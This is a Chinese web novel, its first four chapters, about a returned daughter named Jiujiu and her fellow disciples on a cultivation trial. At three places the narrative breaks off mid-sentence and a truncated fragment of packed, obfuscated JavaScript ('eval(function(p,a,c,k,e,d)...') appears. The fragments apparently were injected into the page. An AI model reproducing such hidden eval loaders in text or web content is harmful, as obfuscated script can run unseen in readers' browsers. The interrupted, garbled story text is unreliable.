《反派总在开导我[穿书]》 1. 第 1 章 年关将至,大雪翩跹。 街角梧桐树上的积雪被抖落,簌簌然露出几根黑色枯枝。温素雪站在树后,透过枝桠的缝隙,望向书院门口。 早市已过,天寒地冻间,坊市寂静无声。 他合起被冻麻的手,搓了搓,往掌缝间吐出口气。 书院那边终于有了动静,“吱呀”一声,朱红木门被人推开,教书先生沉着脸从里面走出来。 温素雪立刻打起精神看过去。 他的任务就是观察教书先生的动向。 只见先生在门口站定,铁青着脸唤来扫雪童子,说了几句,脸色愈发不妙。他挥挥手,示意书童先行离开,自个儿摸着胡子怒火攻心往回走,不料走到一半,正好和温素雪对上视线! 温素雪心中一跳,想也不想,拉低大氅的兜帽,转身就跑。 隆冬的寒气呛得人喉咙紧涩,温素雪身体一向不太好,跑到小竹林时,脸蛋都憋红了。 他弯腰咳嗽一阵。 “温温,你没事吧?”有个稚嫩的声音惊呼。 温素雪抬起头,一眼看见孩子群中的棠鹊,嫩绿襦裙宛如银装素裹中一株萌发新芽的青柳,散发出亲切的生机。 温素雪摇了摇头。 棠鹊这才笑起来,奔到他面前,拉着他往里面走:“你来得正好,我刚堆了一个小兔子,你快看看!……对了,你可去过书院了?夫子那边如何?有没有叫人来找我们?” 她的声音把其他孩子的注意力都吸引过来,温素雪摘下兜帽,耳尖透红。 半日没得到回应,棠鹊回过头,瞧见被她牵着的男孩嘴角微微抿起——这是温素雪不太高兴的表现。 “怎么了?”棠鹊一歪头。 温素雪余光扫着其他孩子的身影,嘴角愈抿愈紧。 视线游移间不经意扫过他和棠鹊交握着的两只小手,他微微一顿,再抬眼看见棠鹊困惑的表情,不悦顿时散了一大半。 唉。 温素雪在心里叹了口气,原本想要质问她为何要带其他人来他们的“秘密地点”,可话到了嘴边却变成:“说了好多次,不许叫我温温。” 棠鹊弯着眼睛对他笑了笑。 一个很好看的笑,杏脸桃腮,目光盈盈。少女鼻尖被冻得有些发红,怪可怜的。 “……” 温素雪仅剩的不高兴也烟消云散。 微风迭起,雪后初晴的天空绵远澄碧。 温素雪和棠鹊用雪堆了一个又一个兔子。 “我觉得温温就像兔子一样。”棠鹊说。 温素雪没吭声,只是安静地在她每一只兔子边,堆起另一只兔子,亲密无间。 临别时,温素雪忘了他的大氅,还是棠鹊追上来还给他。 她低头轻巧地帮他系好大氅的绳带,呼吸时翕动的鼻翼仿佛透明。 温素雪脸红得滴血,谢谢都忘了说,好半天,才结结巴巴问:“上元节的集市,我们一起去好不好?” “好啊。”棠鹊一口答应。 “那说定了。”温素雪拢了拢大氅襟口,“上元节,我在小竹林等你。” 他的念念不舍溢于言表,走一步还要回头三次,直到棠鹊彻底消失在他视野中。 后来呢。 后来的故事情节仿佛走马观花。 温素雪和棠鹊在小竹林堆小兔子的时候,啾啾正一脚深一脚浅地踩着足有她膝盖深的积雪,越过山谷密林,出发前往柘阳城。 她在十岁这一年的春节,认祖归宗回到棠家。 而棠鹊在十岁这一年的春节,被告知她并非棠家的亲女儿。 不知道她生于何时诞于何处双亲何人,仿佛是个野孩子,这叫从小就被宠着长大的棠鹊怎么接受。 有如晴天霹雳,棠鹊哭了整整三天,然后一改平日的软糯乖巧,咬牙告诉爹娘,她愿意割舍一切自行离府,从此不再以棠家大小姐自居,爹娘恩情,她日后定当做牛做马报还。 这可是被大家宠在心尖尖上的小姑娘呀。 看她一夜长大,明明哭得肿胀却故作坚强的眸子,爹娘哪儿舍得同她割舍关系。 “我们曾经是一家人,以后也是。” 娘含着眼泪将她抱进怀里,揉着她脑袋。爹又张开双臂抱了抱依偎着的的母女二人。 啾啾则像个看不懂气氛的弱智,被排挤在外。 等他们一家三口抱头痛哭完,才想起旁边还杵了一根啾啾。 “……也罢,既然回了我棠家,你便叫棠鸠吧。”爹说。 所以棠鹊依然是棠家大小姐,啾啾则是棠家走失的小小姐。两个人平起平坐,不分高低。 这个结果,啾啾毫无选择权地接受了。 棠鹊却不怎么能接受,毕竟她深爱的亲爹娘变成了养父母,这心理落差如何能够承受。棠鹊一连哭了整个春节,后来好不容易不哭了,却将自己锁在屋里成日枯坐,委实可怜。 就这样,上元节那天,温素雪一无所知地站在小竹林,从日上竿头等到夜灯散尽。 他生了病,棠鹊也不闻不问。 棠鹊变了。 以前那个聪慧亲切又生机盎然的小姑娘,变得更坚韧,更成熟,也更冷漠。 温素雪不明白。 这个新年唯一的异常是棠鹊流落在外多年的妹妹辗转归家了。这应该是一件好事。既然是好事,就不该是她冷落他的理由。 思来想去,温素雪只能当棠鹊察觉到了他对她的小心思,故意疏远了他。 再后来—— 温素雪是个病弱的孩子,一向不得父母重视。那次生病,更是缠绵病榻数月。 啾啾认识他后,对他总有种同病相怜的感觉。因为她也不被爹娘重视。 “从今往后,手心手背都是肉。” 她回家的时候,爹娘是这样说的,但实际上他们心还是偏着棠鹊的。 从啾啾回家时爹娘皱紧的眉头,到后来她在书院学到“鸠占鹊巢”这个成语,再一联想她和棠鹊的名字,她就明白这水端不平。 所以她不喜欢“棠鸠”这个名字。她更愿意用啾啾来称呼自己。 既然他们取名不愿尊重她,那她也不愿尊重他们取的名字。 作为难兄难弟,啾啾对温素雪好,什么东西都分他一份,更是在他心魔缠身的时候,进他识海舍命相救。 她以为他们像是共生的树与藤。她只有温素雪,温素雪也只有她。 她希望如此。 更希望温素雪不要和棠鹊牵扯上关系。 然而直到刚才她才知道,原来温素雪也曾心系棠鹊。 她只是他们关系破裂后的捡漏者。 啾啾抬脸环视一圈,四周细长的枝叶随风颤动,地面厚厚的积雪上还留着几只由雪堆积而成的小兔子,以及孩子们的足印。 其他人都消失了,只有她一个人被留在了这片小竹林。 她走过去,雪在脚下发出被挤压时的咯吱声,她站在小兔子前,好像想了很多,又好像什么都没想。 片刻后,她伸出手,还没碰到那雪做的兔子,又猛地收回来握住剑柄。 ——有人在盯她。 她脊背一瞬间绷紧,寒气顺着脊梁骨爬上头皮。 “阿鸠!” 正僵持间,不知何处突然响起个声音。 啾啾转过身,几片飞雪从她面前掠过。 她眨了眨眼。 天地间轰然一声巨响,冰雪、竹林、亭台楼阁,突然齐齐折断,一瞬间整个世界好像静止,画面全部崩坏爆裂,飞溅成了碎片。 *** “阿鸠,阿鸠。” 声音愈来愈清晰,近在咫尺。 “——呀!” 短促的惊呼让啾啾眉心跳了跳,努力抬起眼皮。 黑色渐渐从眼眶四周褪去,视野由模糊变清晰的同时,倒挂的石笋也映入眼帘。 微光苔藓荧荧点点,照亮头顶的岩石。 啾啾撑着身子,慢慢坐起来。 “你醒了。”旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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正想着,对方突然抬起头,和她视线对上。眼睛漆黑,无风无浪。 棠鹊耳朵瞬间红了。 片刻后,啾啾问:“已经标记过了?” 棠鹊还在为自己刚才冒出的想法深感不耻,反应不太过来,也不太理解妹妹脱口而出的“标记”是什么意思,好半天,只估摸着小声回答:“已经结契了。” “嗯。”啾啾回应。 这之后又沉默了好一阵子,啾啾剧烈的头疼终于一点点缓过来。 她收回一直扶着岩壁的手,拍了拍身上的泥灰:“走吧,不知道温师弟和昆师弟现在怎么样了,得快点找到他们才行。” 棠鹊点头。 啾啾深吸几口气,往山洞外走。 地上一圈隐约流动的红光在她离开后黯淡破碎,隐没于山洞湿润的土壤——是个小而强悍的火系防御结界。 啾啾擅长机关阵法术,可她是木灵根,是绿色。这并非她布的结界。 棠鹊用足尖蹍了碾刚才烫过她的法阵残印,有些恍神。 “棠鹊?”山洞外传来声音。 啾啾已经离开山洞。棠鹊这才惊醒似的应了声“来了”,牵着小青鸾的手匆匆追上去。 “阿鸠,你之前为什么会倒在山洞里?你是不是遇到了……唔!” 棠鹊突然睁大眼睛,声音戛然而止,连惊呼都卡在喉咙里。 灰色的云层在头顶翻滚堆积,巨木的树叶遮天蔽日。 啾啾一只手拨开的灌木枝叶后,是让人触目惊心的画面。 妖兽、修士、破碎的血肉,空中弥漫着腥臭。 “呕——” 尚未接受过修仙世界鞭打的炼气期小修士哪儿受得了这些,棠鹊忍不住捂着嘴转过身。 啾啾从混沌的思绪中拽住了一根线头,慢慢想起来。 对了。 她失去意识前,看见钟棘师兄,在这里杀人。 2. 第 2 章 太初宗崇尚实力,以修为定尊卑。不管什么身份、什么岁数,只要修为更高,那就是师兄师姐。 所以钟棘虽说被叫做钟师兄,实际上看起来与啾啾差不多年纪。 啾啾遇见他的时候,他正在和一只筑基后期的妖兽战斗。 暗红衣袍随风翻飞,高高束起的黑发乱舞,暴露出来的白皙耳垂上戴着条细长的红笺。 少年仿佛熊熊燃烧的火苗,兴奋又狂暴,将妖兽逼得无路可退。连他手中泛着冰冷光芒的刀刃都缠上了一圈火舌。 他正要提刀斩下妖兽头颅,一位师姐突然冲了出来,直奔妖兽巢穴,看样子想趁机夺走妖兽看守的宝物。 然后钟棘想也不想将妖兽踹到了师姐背后。 “吼——” 啾啾躲在灌木丛后,眼睁睁看着那位师姐连声尖叫都没发出来,就被撕成了碎片。 再后来,又来了个师兄,一脸悲愤痛斥钟棘不顾同门情谊。 说了大概一盏茶功夫,从钟棘搜查尸体到搜罗完毕。 最后钟棘抬起手:“我数到三,如果你没逃走,那你死了。” 师兄愣了愣。 钟棘按下一根手指头,语气轻松。 “一。” 以啾啾现在的水平,看不出来钟棘和那位师兄究竟谁修为更高,总之钟棘吐出第一个数字后,师兄如梦初醒,面露骇色,转身仓皇逃窜。 钟棘咧开嘴角。 “二。” “三。” 他笑起来。 看得出来心情不错,少年耳下坠着的红笺随风翻滚,一层暗金光芒缓缓流动。 啾啾能从他咧开的嘴角里看见他尖尖的犬牙。 接着,“咚”的一声。 师兄的脑袋砸在地上。身体也随之落在不远处。 身首分离。 后面的事情啾啾就记不太清楚了。她好像捡了个什么东西,又好像和钟棘对上视线,看见他瞳孔中涌动着红色的光,仿佛一朵妖异的花在夜色中盛绽。 她是怎么晕倒,又是怎么进了山洞……她一概不知。 想到这里,啾啾翻了翻储物袋。 捡的那颗珠子还在,如琉璃一般剔透冰凉,散发着淡淡的蓝色光芒。 旁边还有些别的东西,啾啾用手指戳了一下,有些发愣。 “小鹊!”背后突然传来激动的呼喊。 啾啾转过身,一条橙色身影从她身边急急掠过。路过时不小心撞了下她,力气极大,坚硬的肩骨硌得人生疼。 啾啾退开两步,眼看着就要踩进一旁溪流,另一只手臂伸出拦下了她。 少年胸膛尚且瘦弱,衣袍上有清淡的皂荚香味。 啾啾一顿:“温师弟。” “嗯。” 温素雪不爱说话,啾啾话也不多。短短几个字,算是打过招呼了。 温素雪收回手臂,抿紧了唇,睫毛如蝶翅般扇了扇,清清冷冷的视线射向不远处。 啾啾也站直身子,随他一同看过去。 昆鹫根本没察觉到自己撞上了人,也许察觉到了,却懒得顾及。他风风火火地冲到棠鹊身边,围着她绕了好几圈。 “喂,你还好吧?有没有遇到什么麻烦?” “你之前都去哪儿了,我找了你好久!” “这家伙是谁?牵着他做什么?” 昆鹫年纪比温素雪还要小一岁,脸还没完全长开,个头也不高,仅仅平视就能看见他秀致鼻梁边的几颗淡色雀斑。 棠鹊平日里时常和他斗嘴,是公认的欢喜冤家,听见昆鹫声音,她下意识想逗逗昆鹫,可看见少年生机勃勃的脸庞上不加掩饰的关心后,又按下打闹的心思一一作答。 直到最后一个问题,棠鹊唇边浮起一抹笑。 “你说小青鸾?他是我在路上遇到的,我给他治疗了伤口,然后和他结了契。” 说着,她松开一直牵着青鸾的手,转而揉了揉他脑袋:“小青鸾,这是姐姐的好朋友,他叫昆鹫。” “竟然是只青鸾?” 昆鹫来了兴趣,刚要凑过去,就见那一直将脸埋在阴影里的小少年突然抬起头,自下而上冷冷瞪了他一眼。 眼神轻蔑至极。 “你……”昆鹫先是一愣,继而拧起了眉,“你那是什么——” 昆鹫从没被人这样鄙夷过。 他昆小少爷是紫霄仙府妙华真人送来太初宗的弟子。紫霄仙府那是什么,掌管着天下资源灵脉,所有人挤破脑袋都想进去的最高仙府。 昆鹫被送来太初宗后,待遇极高,上上下下把他当个宝贝捧着,还没人敢对他露出这种眼神。 眼看着昆鹫的少爷脾气就要发作,啾啾却松了一口气。 原来小青鸾并不是针对她。 他只是觉得在座的各位都是垃圾。 大家都是垃圾人,那就没什么了。啾啾摸摸侧颈,认真地想,总比棠鹊的朋友们总是不由分说地歧视她好。 棠鹊急忙插进昆鹫和小青鸾中间:“好了好了,小青鸾有些认生,你别生气。” “……” 昆鹫的怒气在棠鹊手指扯住他袖子的瞬间偃旗息鼓,他一低头就能看见棠鹊眼睛里的自己。 少年只能不自然地冷哼一声,别开脸:“……算了,这小畜生叫什么名字?” 棠鹊摇头:“还没想好。” 昆鹫古怪地笑了:“不如就叫他小畜生罢。” “昆鹫!” 他们又要打闹起来。 温素雪眼神微动,垂首轻声问:“你有没有给你姐姐惹麻烦?” “没有。”啾啾回答。 “那就好。” 啾啾抬头:“你很怕我给棠鹊惹麻烦?” 温素雪模样虽嫩生生的,可总有些少年老成,听见她声音,他脚步顿了顿:“我担心你给我惹麻烦。” 他挥开面前枝叶走过去,神情没什么波澜,眸子依如同白峰细雪,又清又冷,出声询问:“这些尸体是怎么回事?” “温师弟?”棠鹊愣了愣,“你怎么,也在?” “我和昆师弟一起来的。” 棠鹊微微张嘴,约莫惊讶了一番,很快面色恢复如常,沉默着点点头,不太自然的模样。 温素雪和啾啾形影不离后,她在他面前就一直这样了。 昆鹫环视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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啾啾回忆着钟棘兴奋地和妖兽战斗,冷笑着旁观妖兽把师姐撕碎,愉悦地让师兄身首分离。种种迹象,都指明了钟棘的最大爱好—— “他还挺爱笑的。” “……” “啊?”棠鹊听了个与脑补完全不符的答案,极其错愕。 温素雪泠泠的。 昆鹫一脸别他妈逗我了的烦样。 “笑?”棠鹊不可思议地掩了掩嘴。 啾啾肯定:“嗯。” “……”棠鹊瞠目结舌,半天才勉勉强强,“……那他还挺,亲切的。” 倒也不是。啾啾想。 温素雪看她一眼。 “既然这些与我们无关,那就先离开这里再说吧。” 少年骨节分明的手执了剑,率先转身,背影如玉如竹。 说的也是。昆鹫厌恶地踢开足下沾了血的碎石,拉着棠鹊走在中间。 啾啾落了一步,跟在最后。 之前梦境世界崩塌时,几枚碎片上倒映着温素雪的脸,刺入啾啾识海。她又想起来,温素雪在棠鹊面前会笑会闹会脸红,而在她面前总是淡漠疏离的。 啾啾撩起眼皮,注视着温素雪的后颈,突然没来由地想到一句话。 ——我想标记他。 3. 第 3 章 啾啾一行人进入的秘境叫试炼秘境,顾名思义,是专门给新人试炼用的副本。 秘境中有许多特殊灵晶。 大家的任务就是在秘境寻找灵晶,每个人二十枚,倘若没拿齐,要么继续当记名弟子等着参加下一次试炼,要么转为外门弟子,以后只能学些不入流的九阶仙法。 相反,通过试炼的人可以挑选一套自己喜欢的法器,成为内门弟子,学习上乘仙法。 “你说我们运气到底是好还是不好?”昆鹫叹气,“没遇到什么的妖兽,也没寻到什么机缘。” 棠鹊笑了笑:“没遇到危险就算不错了。” 篝火在眼前熠熠跳动,发出轻微的噼啪声。 昆鹫瞥一眼:“说起来,你捡的这小畜生该是这趟试炼最大的收获了。” 他声音不太友善。 倒不是羡慕嫉妒,就是单纯看小青鸾不爽,看见棠鹊左右不离地牵着小青鸾更不爽。 棠鹊瞪他一眼,鼓起脸,更显生动:“说了好多次,不许叫他小畜生,他有名字,叫栖玉。” 昆鹫不以为然。 棠鹊顿了顿,转过脸:“阿鸠,你究竟在找什么?” 啾啾翻翻找找有一会儿了。 听见姐姐的声音,她动作稍停:“只是检查一下这次试炼的收获。” 昆鹫嗤了一声,俨然没把她那点小收获放在眼里,甚至觉得提起的必要都没有。 棠鹊倒是很感兴趣:“你都拿到了什么?” 啾啾从左往右念给她听:“化毒丹、月爪藤、清心草、灵晶……” “这些破烂还用得着收集?”昆鹫的小雀斑在火光下更加明显,神情不屑,“花点下品灵石就能随便买,谁袋子里不是一大堆。” 棠鹊用胳膊肘撞了他一下,示意他闭嘴。 啾啾止住了自己报数的声音。 问题来了。她根本没钱。 “你不会是连买破烂的钱都没有吧?”昆鹫突然坐直身子,手搭在膝盖上大剌剌笑了,“也对,毕竟你……” 他声音顿了一下,想起棠鹊与啾啾是两姐妹,话锋一转,笑嘻嘻的:“毕竟你又不讨人喜欢。就算是爹娘,也知道手心手背,更该偏爱谁。” 温素雪眉心动了动。 “昆鹫。”棠鹊心里一跳,拍了下他,目带肃光,似在制止。 啾啾和昆鹫两人一直不太对付。 说起来还和棠鹊有点关系—— 刚进门派那阵,昆小少爷不知为何总看棠鹊不顺眼,没少带着他的小喽啰欺负棠鹊。 有次昆鹫故意将狼毫上的墨汁甩在棠鹊身上,啾啾实在看不过去,便用新学的木系法术攻击了他。 那一招叫木刺。 尖锐的木枝直直射向昆鹫手臂,“噗呲”一声,瞬间洞穿。 昆鹫捏着手腕,看着宣纸上的血滴发愣。 那一声后,昆鹫便把他厌恶欺负的对象换到了啾啾身上。 这会儿昆鹫扯了扯嘴角,轻哼一声。 棠鹊怕他们又打起来,急忙岔开话题:“说起灵晶,明天就要离开秘境了,大家先检查一下有没有收集够吧?” 说得也是。 几个人都简单查了一下。 棠鹊最先检查完。 十六。十七。十八。 她愣了愣,重新数。 十六。十七。十八。 她动作越来越慢。 片刻后,她抬起头,有些木然:“都齐了吗?” 温素雪:“嗯。” 昆鹫:“废话,早就齐了。” 棠鹊转过脸:“阿鸠呢?” “我也齐了。” 棠鹊愣了愣,不由自主脱口而出:“之前都没有看见你分走灵晶。” “是。”啾啾点头,“我遇到你之前就收集齐了,所以后来就没再瓜分过。” 她这一路几乎都在打白工,很有团队精神地和他们一起闯龙潭进虎穴,却从不拿走她该拿的战利品。 因为她的灵晶也是白来的——从山洞醒来时就放在她袋子里了,不多不少正好二十个。 “你没集齐?”温素雪突然插话,问向棠鹊。 这几个字让棠鹊张了张嘴,脸上有些难堪——仿佛她比吊车尾还吊车尾。 过了好几息,她才轻轻点了下头,刻意别开脸躲过啾啾的目光,笑了笑,恢复淡然:“不过没事。大不了明年再来。” 没事? 昆鹫差点叫起来:“这还叫没事?你怎么老是这样——” 他蓦地一顿,竟然有些生气了。他想和棠鹊一起学习,同学同玩,做一样的事,可棠鹊似乎根本没在意过这些。 他简直想揪住她衣襟:“就算你没心没肺,也有个度!” 半熟的小少年激动得脖子都红了,比她还着急,哪儿像平时一看见她吃亏就笑嘻嘻的小坏蛋。 棠鹊用圆圆的鹿眼注视着他。 这样的眼神能立刻让昆鹫没了脾气,他再气急也只能憋着,干脆就抿唇回瞪她。 温素雪抬了抬手,按下昆鹫,语气冷静:“还差多少?” 棠鹊垂下眸子:“两枚。” “我们现在就去找,离天亮还有几个时辰,还来得及。” 温素雪当机立断,起身往外走,枯枝碎叶在他雪白的靴子下发出脆弱的声音。 “也不用这么……” “你闭嘴。”昆鹫瞪她一眼。 棠鹊止住声音。 “现在全部听我们的。走,找灵晶去,我一定要让你集齐。” 昆鹫袖子一甩,木柴上跳跃的火光应声熄灭,少年的模样异常坚决。 棠鹊没有再反驳,只是浅浅露出个笑:“温师弟,昆师弟……谢谢你们。” 一行人是从东边过来的,现在继续向西出发。 阴云连绵,不见星月。 这一路都异常空旷,别说灵晶,连啾啾喜欢收集的下品材料都不见多少。 匮乏得离谱。 昆鹫一路都在嘟嘟哝哝表示不满,棠鹊予以安抚。 啾啾在他们循环往复的交谈中靠近温素雪,摊开手心:“这个给你。” “这是……” 温素雪微微一怔,讶然至极:“灵珀仙果?” 少年略微变化的声音让另外两人的打闹也安静了下来。 棠鹊抬起眼,和啾啾视线撞个正着。 片刻功夫,她了无痕迹地移开视线,一脸无谓,继续和昆鹫又说又笑,倒是一旁的小青鸾视线在那边黏了好久。 啾啾手心里躺了枚小小的朱果,脉络纹路之间有华美的金纹,两片青色细叶在果蒂舒展。 这是她刚才汇报秘境收获时,被昆鹫打断后没能说出来的东西。 温素雪蹙眉:“你从哪里得到的?” “捡的。” 和那枚琉璃珠子一起滚到她身边的,也不知道两者究竟哪个才是妖兽看守的宝物。 啾啾那一刻俯身拾起它们,并没有太多想法,只是最单纯地想要捡起它们,连收进物品袋都没有。 所以醒来时发现它们在她这里,她有几分失神。 “我不要。”温素雪摇头,“你好好收着。” 啾啾:“可我拿着没用。” 灵珀仙果乃是炼黄泉回魂丹的材料, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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只有雾气如蛇一般纠缠,云层也积压搅转,在头顶凝出巨大的漩涡,如同一只眼睛死盯他们,让人发怵。 棠鹊心尖一颤:“云……” 好像会蛊惑人,只要一直盯着漩涡的中心,压迫感就会越来越重,窒息痛苦,却无法撤回视线。 到最后三魂六魄都被卷进巨大的漩涡。 棠鹊不自觉收紧手指,将小青鸾的手捏得发红。 一道白光突然直射云霄。 被那道更加夺目的光柱一干扰,棠鹊终于能够重新开始呼吸,她大口喘了几口气,咳起来。 昆鹫被吓了跳,回过身拍她:“没事吧?” 棠鹊边咳边摇头。 “别看那云。”温素雪本来要安抚她的手,被昆鹫抢先后,在半空中划了个弧度,堪堪收回。 他捏的那个驱云诀,对这诡异的云雾没有任何作用。 阵法便是如此,在一方小天地里书写自己的规则,体术也好、仙法也好,不管对方是什么修士,全部要遵循阵法主人的法则。 阵法就藏在那里,不会动也不主动袭击人。修士们不进去便万事平安,一旦进去就只能自求多福。 昆鹫脸色发沉。棠鹊咳完了,直起身,也多出几分凝重。 “阿鸠?”她忍不住也喊了声。 这次有回应了 不远处有人轻轻“嗯”了一下。 “等一下。”啾啾说。 只过了几息时间,空气中好像突然响起了细碎的“呯”的一声。随着那声音,云和雾突然倒退缩回,旋转着飘远,最后在地界边缘如泡沫一般破碎消散。 短短一瞬,世界重回清晰。 众人的身影都一一显现,深沉的夜幕下,看见啾啾站在仅仅离他们五丈远的地方,小小一只,轮廓镀上一圈浅浅的青光。 她仰着头,看着面前。 ——那里是一座庞大华美到难以置信,遮天蔽日的碧玉巨塔。 4. 第 4 章 巨塔是用玉做的。 不是普通的玉,而是修真界里难得一见的玉髓,即便在夜色中,也散发出莹润的光辉。 饶是见惯了奇珍异宝的昆鹫,也忍不住“唔”了一声,眼睛瞪大了点。 棠鹊同样讶然。不过片刻后,她便收回了对巨塔的关注,转而投向自己妹妹。 啾啾流落在外的那十年,听说是进了个盗墓的寨子,平日里没少研究机关阵法。 不过,就算她那时是小孩子,也该知道凡事有所为、有所不为,该有棠家的风骨,她做些盗墓挖宝的事,委实不应该——这些都是爹娘说的。 爹娘一直教育棠鹊要做个有底线的人。 啾啾侧过脸:“这是镇物阵。换而言之,就是这座塔里放了些东西,要进去看看吗?” 秘境中隐匿的地点向来不少,一些专心修炼的前辈就喜欢将洞府或者宝贝藏在秘境中。 但那些地点都不像这座巨塔森然威严,仿佛至关重要,立入禁止。 好半天,昆鹫咬咬牙:“进!” “昆师弟……”棠鹊柳眉蹙了蹙,不太赞同。 “掌门又没说有不许进的地方。”昆鹫反而无所谓了,将手枕在脑后,“反正在这鸟不拉屎的地方打转也一无所获,还不如进去碰碰运气。” “进吧。”温素雪也开了口。 “温师弟,怎么你也……”棠鹊闭了闭眼,摇摇头,“算了,随你们吧。” “这不就对了。你少说话,跟着我们就行了。”昆鹫大剌剌地笑着,抬手摸了摸和他个头差不多高的棠鹊的脑袋。 棠鹊一愣。 昆鹫和温素雪已经朝着入口前进了,棠鹊抬手按了下刚才被摸过的后脑勺,好半天,轻轻一哂,摇摇头,也跟着往里走。 唯独在路过啾啾的时候,她犹豫了一下,告诉她自己的情报。 “阿鸠,以后你少碰这些机关阵法……爹娘,不喜欢。” 她抽身离开,在空中划过的发尾被勾勒出一层玉髓的碧光。 啾啾垂了垂眼皮,用手摸摸入口处光滑的玉壁。 足下线条缓缓蜿蜒勾勒,不消片刻,一朵花型图纹出现在了石板上。 在光顾的地方留个记号,这是修真界盗墓分子的职业道德。 她也走进塔口的光幕里。 几丝风从窗外溢进来,在塔中游走,凉意擦过皮肤的时候,烛火也跟着微微跳跃。 “啪嗒、啪嗒、啪嗒。” 塔里极其安静,只有脚步声回荡其中。 啾啾走在最前面。 刚刚进来不久时就有块机关石板被触动,几枚暗箭射了过来。 这里不能使用灵力仙术,若非昆鹫体术好,这会儿身上已经好几个窟窿了。 所以换成啾啾带队。 清理了七八个机关,队伍稳稳上了五楼。 不能用仙术,全靠一双腿硬爬,棠鹊有点吃不消了。 “休息一下吧。”棠鹊瞄一眼温素雪。 一行人当中身体最差的莫属温素雪,他从小便体弱多病。这会儿脸色也有些隐约的病态,连唇色都泛出一抹苍白。 “好。”不等啾啾回答,昆鹫先做出回应。 啾啾也点点头,环视一圈,指了个位置:“你们在那边休息。这层楼灵力场有些奇怪,我去看看。” 少女的身影消失在转角。 昆鹫收回视线,表情古怪:“灵力场?” 温素雪指尖凝出小小的火苗,挥向塔壁上的蜡烛。他和棠鹊表情都没什么变化,似乎已经习以为常。 棠鹊解释:“兴许是他们的行话。” “行话?” 这次,棠鹊犹豫了很长时间,头顶烛光熠熠跃动好几下,她才叹了口气:“阿鸠小时候……在她回家前,她一直都呆在黑风寨里。” “山匪寨子?”听名字就不是什么好东西。 棠鹊小声:“是些盗贼。” “哦?”昆鹫突然笑了,眼神闪烁,似乎想到了新的可以欺负人的理由。 “你别想着捉弄她!”棠鹊反应过来,瞪他。 昆鹫一耸肩,不置可否,高深莫测。 其实啾啾也觉得黑风寨这个名字难听,和她“啾啾”这个小名一样难听。她曾在挖墓归来时,坐在路边馄饨摊里对师父小声逼逼过:“师父,我们黑风寨的名字能不能改一改。改个更浩然正气、不那么像坏人的名字。” 然后她那位扛着关刀,虎背熊腰的师父大惊失色:“什么?为什么?我们本来就是坏人啊,坏人就该用坏人的名字!要是我们用了好人的名字,那好人还用什么?!” 啾啾:…… 师父:“啾啾,你清醒一点,做人要有自知之明!” 啾啾:…… 她师父觉悟一直可以的。 不过那些“行话”就真和师父无关了。啾啾从小就这样,总是在说话时不经意冒出些稀奇古怪的词,顺口到好像大家平时都这么说话。只有看到周围人一脸懵逼时,她才意识到自己又说了别人听不懂的东西。 她用两根手指指腹轻轻抵着墙壁前进。 这座玉塔十分巨大,每一层除了环廊与圆堂,还在尽头设有暗室或者通往上层的密道迷阵,物理机关的隐藏也需要一定空间,所以目测棠鹊等人休息的圆堂,在一层中一半面积都占不到。 她指腹突然划过了微不可察的凸起。 啾啾顿住脚步,仔细观察了一遍,微光的玉髓墙壁上有串细微的剑纹,剑纹附近有团非常不显眼的光点。她催动灵力旋转剑纹,随着剑纹的转动,光点也跟着转移位置。 一个晦涩的机关,不过不算难。 她把附近都搜索一遍,又找到了九处剑纹。 这总共十处剑纹,连起来是个“室”字。所以,她把光点位置调整转向,使它们连成星图上“室宿”。 一切做完,环廊尽头响起“咔哒”一声。 玉壁裂纹后有幽光荧荧透了出来,砖石摩擦的声响中,玉门缓缓打开。 不消片刻,暗室显露。 啾啾进去转了一圈。 没什么好东西,只有一些上品食材,啾啾将它们一一收进物品袋里。 让人惊讶的是,这个房间里竟然能使用灵力。 这让她警惕起屋里是否有妖兽精怪。 然而并没有。 搞得这么高深莫测,结果就只为了藏了几个食材。没必要。真的没必要。 啾啾一边扎紧袋子,一边准备往回走。不料刚转过身,她脚步便猛地一顿。 微风携着几丝凉意,擦着脖子掠过去,惊起些鸡皮疙瘩。 不知何时门口多出一个人来,一袭青衫,孩童身形。悄无声息地伫立在那里,抬起头注视啾啾的眼睛里透出一抹暗沉青蓝。 “小青鸾?” 啾啾退了半步,手悄悄覆上了剑柄。她突然想起她回到棠家的第二年,和棠鹊一起去了书院念书。 棠鹊自然是照顾她的,把她介绍给她最要好的朋友,带她参观书院,给她答疑解惑。 啾啾那 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啾啾是隐隐约约有察觉到这位“新朋友”对她的鄙夷、厌烦和防备,但真的听见对方这样说出来——她很茫然。 这些人无条件对棠鹊好,宠爱棠鹊,偏心棠鹊,他们从来不觉得不对。 啾啾只是享受了她姐姐出于愧疚对她的一点补偿,他们就急冲冲地跳出来阻止,认定她不应该得到优待。 为什么。 她莫名地让这件事走马灯似的在脑海里回放了一次,最后注意力落回到小青鸾身上。 迄今为止,没有一个棠鹊的朋友不对啾啾抱有敌意。 他们就像一场风暴,强硬地要将啾啾卷到棠鹊的对立面去,不管啾啾愿不愿意。 他们对她展露出轻蔑和怀疑的态度,等把她逼到棠鹊的对立面后,又指着鼻子骂她是非不分,不知好歹。 啾啾打住心底隐隐约约的一片黑气,抬起头,回想着小青鸾的名字。 “栖玉,你怎么到这边……” 话没说完,啾啾瞳孔突然收缩一下,身体本能远超了大脑反应,不消一息工夫,人已经站在了暗室另一隅的木箱上! “乒——!” 青色羽毛如同钢钉一般刺入墙壁,从没入的位置,蜿蜒出几道裂缝,在墙壁上扩散开。 力道极重,只能看见半截羽毛还露在外面。 尘埃乱舞。 啾啾的物品袋掉在了地上,系带尚未扎紧,她收集的那些不值钱的材料从袋子口滚出来。 青鸾似乎根本没注意,依然死盯着啾啾,直直往前走了两步,碾过了一枚霜噬蜘蛛卵,白|浆四溅。 没钱又没机缘就是这样,物品袋也只能用最下品的,空间只有一方大小,还不带固定和自动吸附功能。 